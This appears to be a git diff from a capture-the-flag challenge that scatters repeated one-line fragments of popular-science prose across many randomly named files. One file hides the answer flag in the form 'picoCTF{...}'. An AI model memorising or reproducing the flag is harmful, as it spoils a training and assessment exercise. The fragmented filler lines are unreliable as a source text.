+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_npanciwfmwvk.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_pbglftriylwavzrtn.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_pbglftriylwavzrtn.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_pbglftriylwavzrtn.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_qakaoriiuhjwlhnmmolmq.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_qakaoriiuhjwlhnmmolmq.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_qakaoriiuhjwlhnmmolmq.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_rhtsnwyirkspazqq.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_rhtsnwyirkspazqq.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_rhtsnwyirkspazqq.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vexpuzevhtjvadktzifadj.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vexpuzevhtjvadktzifadj.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vexpuzevhtjvadktzifadj.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vgyuuwniigprznkghfwlq.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vgyuuwniigprznkghfwlq.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_vgyuuwniigprznkghfwlq.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_wyebbxvsrbcxvrycjfqmcsfn.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_wyebbxvsrbcxvrycjfqmcsfn.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_wyebbxvsrbcxvrycjfqmcsfn.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_xopnqvcpkzqmfxglqpv.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_xopnqvcpkzqmfxglqpv.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_xopnqvcpkzqmfxglqpv.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_yjwwyqsrbaczeqv.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_yjwwyqsrbaczeqv.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_yjwwyqsrbaczeqv.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_znmoslcrdhuqbouratcr.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_znmoslcrdhuqbouratcr.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_znmoslcrdhuqbouratcr.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/afeztzks.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/afeztzks.txt
new file mode 100644
index 0000000..75640ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/afeztzks.txt
@@ -0,0 +1 @@
+These voyages of exploration and discovery are the latest in a long series that have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cpuzajaleqzervfixar.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cpuzajaleqzervfixar.txt
new file mode 100644
index 0000000..296344f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cpuzajaleqzervfixar.txt
@@ -0,0 +1 @@
+still, a hundred billion of them, sprinkled through the dark to the frontiers of the known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cwhygeprfyzmiparx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cwhygeprfyzmiparx.txt
new file mode 100644
index 0000000..97c9c99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/cwhygeprfyzmiparx.txt
@@ -0,0 +1 @@
+together by nuclear forces, a single, massive atomic nucleus with an atomic weight about
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/eyzwmjpfjhmbzguzdv.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/eyzwmjpfjhmbzguzdv.txt
new file mode 100644
index 0000000..ca4cc8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/eyzwmjpfjhmbzguzdv.txt
@@ -0,0 +1 @@
+- T. H. Huxley, 1887
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/fhqyyhzhrdlssnhzkx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/fhqyyhzhrdlssnhzkx.txt
new file mode 100644
index 0000000..dd1be2d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/fhqyyhzhrdlssnhzkx.txt
@@ -0,0 +1 @@
+individuals who have been deprived - during at least one of two critical stages in life,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_daguxiuldqwbure.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_daguxiuldqwbure.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_daguxiuldqwbure.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_gmdriqvgccw.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_gmdriqvgccw.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_gmdriqvgccw.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_guazbrmmfmcmcrmdxv.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_guazbrmmfmcmcrmdxv.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_guazbrmmfmcmcrmdxv.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_inpvdaeexvncjiolkyw.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_inpvdaeexvncjiolkyw.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_inpvdaeexvncjiolkyw.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jswrnvjktlhvgf.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jswrnvjktlhvgf.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jswrnvjktlhvgf.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jzyynitgpohnuwgjezii.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jzyynitgpohnuwgjezii.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_jzyynitgpohnuwgjezii.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjrfdqgwzjo.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjrfdqgwzjo.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjrfdqgwzjo.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjtlrukjqwrxwquajn.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjtlrukjqwrxwquajn.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_kzjtlrukjqwrxwquajn.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_luaovhpmcukwu.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_luaovhpmcukwu.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_luaovhpmcukwu.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_mskzagnt.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_mskzagnt.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_mskzagnt.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_naegjrxpwwpjccto.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_naegjrxpwwpjccto.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_naegjrxpwwpjccto.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_oolkedrcfevbttmvogjoc.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_oolkedrcfevbttmvogjoc.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_oolkedrcfevbttmvogjoc.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_ptwhjysaohwkkxczmkvzf.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_ptwhjysaohwkkxczmkvzf.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_ptwhjysaohwkkxczmkvzf.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_rjidzhedowpqggziyzfya.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_rjidzhedowpqggziyzfya.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_rjidzhedowpqggziyzfya.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_toyxuduaiukatlstyzglpu.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_toyxuduaiukatlstyzglpu.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_toyxuduaiukatlstyzglpu.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_vxohilsrtnly.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_vxohilsrtnly.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_vxohilsrtnly.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_yvotyrokxjvqhbuqrypmiud.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_yvotyrokxjvqhbuqrypmiud.txt
new file mode 100644
index 0000000..4727c37
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/file_yvotyrokxjvqhbuqrypmiud.txt
@@ -0,0 +1 @@
+gunpowder that first powered it, in China where it was used for ceremonial and aesthetic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/lgdtdxerinx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/lgdtdxerinx.txt
new file mode 100644
index 0000000..4bcff19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/lgdtdxerinx.txt
@@ -0,0 +1 @@
+species is immense. There must be ways of putting nucleic acids together that will function
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/mjklvtcnaxgzlm.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/mjklvtcnaxgzlm.txt
new file mode 100644
index 0000000..5d64b72
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/mjklvtcnaxgzlm.txt
@@ -0,0 +1 @@
+If r = 3, Equation (5) becomes
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfkabgmhaoriktvkeduoy.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfkabgmhaoriktvkeduoy.txt
new file mode 100644
index 0000000..f76a1ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfkabgmhaoriktvkeduoy.txt
@@ -0,0 +1 @@
+technical societies. In these cases our estimates will be little better than guesses. I invite
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfocmtivsvx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfocmtivsvx.txt
new file mode 100644
index 0000000..8d3f35a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/nfocmtivsvx.txt
@@ -0,0 +1 @@
+such an event happening in historical times. But the evidence is at least suggestive. As the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/oldcrjwlmrdkpfnljxxlh.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/oldcrjwlmrdkpfnljxxlh.txt
new file mode 100644
index 0000000..7a3bbbe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/oldcrjwlmrdkpfnljxxlh.txt
@@ -0,0 +1 @@
+the mind. We talked with underwriters, hired an executive producer, and found ourselves
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/pbylavhd.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/pbylavhd.txt
new file mode 100644
index 0000000..425db3c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/pbylavhd.txt
@@ -0,0 +1 @@
+to work more or less continuously through the centuries. In the seventeenth century you
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/phmgcrlnnkocv.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/phmgcrlnnkocv.txt
new file mode 100644
index 0000000..270777c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/phmgcrlnnkocv.txt
@@ -0,0 +1 @@
+that we mounted hither by many Probabilities, one of which, if it chanced to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/plvdzxpgjuhdaa.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/plvdzxpgjuhdaa.txt
new file mode 100644
index 0000000..e84ce4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/plvdzxpgjuhdaa.txt
@@ -0,0 +1 @@
+Can we do something to approach the speed of light? What is magic about the speed of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/qpphoecoxwvgnzmxrzkrqmu.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/qpphoecoxwvgnzmxrzkrqmu.txt
new file mode 100644
index 0000000..889290b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/qpphoecoxwvgnzmxrzkrqmu.txt
@@ -0,0 +1 @@
+explains nothing.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/sgejbmtarvtzxaaio.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/sgejbmtarvtzxaaio.txt
new file mode 100644
index 0000000..18a6719
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/sgejbmtarvtzxaaio.txt
@@ -0,0 +1 @@
+nucleotides in any desired sequence, to produce whatever characteristics we think desirable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/twglkrpjdrulsnevhcctg.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/twglkrpjdrulsnevhcctg.txt
new file mode 100644
index 0000000..5fa29aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/twglkrpjdrulsnevhcctg.txt
@@ -0,0 +1 @@
+underpinnings of the world. Anaxagoras believed in a special mind substance and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wcpudscvpllsmciefqjgnawz.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wcpudscvpllsmciefqjgnawz.txt
new file mode 100644
index 0000000..cec8722
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wcpudscvpllsmciefqjgnawz.txt
@@ -0,0 +1 @@
+very large. Our observations of atoms and galaxies were launched in this time and place.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt
new file mode 100644
index 0000000..3cafef3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/whzxrpivpqld.txt
@@ -0,0 +1 @@
+information on the record will last a billion years. Genes and brains and books encode picoCTF{gr3p_15_m4g1c_ef8790dc}
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wiottidmlmrcsz.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wiottidmlmrcsz.txt
new file mode 100644
index 0000000..0de6fa2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wiottidmlmrcsz.txt
@@ -0,0 +1 @@
+should have. He wrote to Galileo: ‘I immediately began to think how there could be any
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wlltnuzygm.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wlltnuzygm.txt
new file mode 100644
index 0000000..2cd9e88
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/folder_fnpfclfyee/wlltnuzygm.txt
@@ -0,0 +1 @@
+written certain other plays, unknown to us but apparently prized in his time, works entitled
\ No newline at end of file
